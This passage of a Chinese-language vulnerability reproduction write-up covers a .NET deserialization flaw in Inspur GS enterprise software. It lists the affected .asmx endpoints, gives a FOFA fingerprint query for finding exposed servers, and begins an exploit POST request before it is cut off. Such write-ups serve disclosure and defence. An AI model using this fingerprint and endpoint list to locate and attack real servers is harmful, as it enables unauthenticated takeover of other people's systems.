0x01 产品简介
浪潮GS企业管理软件产品是一款面向大中型集团企业的全面解决方案,它基于Microsoft.NET技术路线和SOA(面向服务的架构),采用SOA架构和先进开放的GSP应用中间件开发,支持Web服务和Xml进行远程通信及数据交换。旨在帮助大中型集团企业实现资源整合、流程优化和智能决策,提升管理水平和竞争力。
0x02 漏洞概述
浪潮GS企业管理软件 bizintegrationwebservice.asmx、xtdysrv.asmx、GSP_UnitDefineWebService.asmx 等接口处存在.net反序列化漏洞,未经身份验证的远程攻击者可利用此漏洞执行任意系统命令,写入后门文件,获取服务器权限。
0x03 复现环境
FOFA:
body="/cwbase/web/scripts/jquery.js" || icon_hash="-1341069524"
0x04 漏洞复现
Exp-1
POST /cwbase/gsp/webservice/bizintegrationwebserv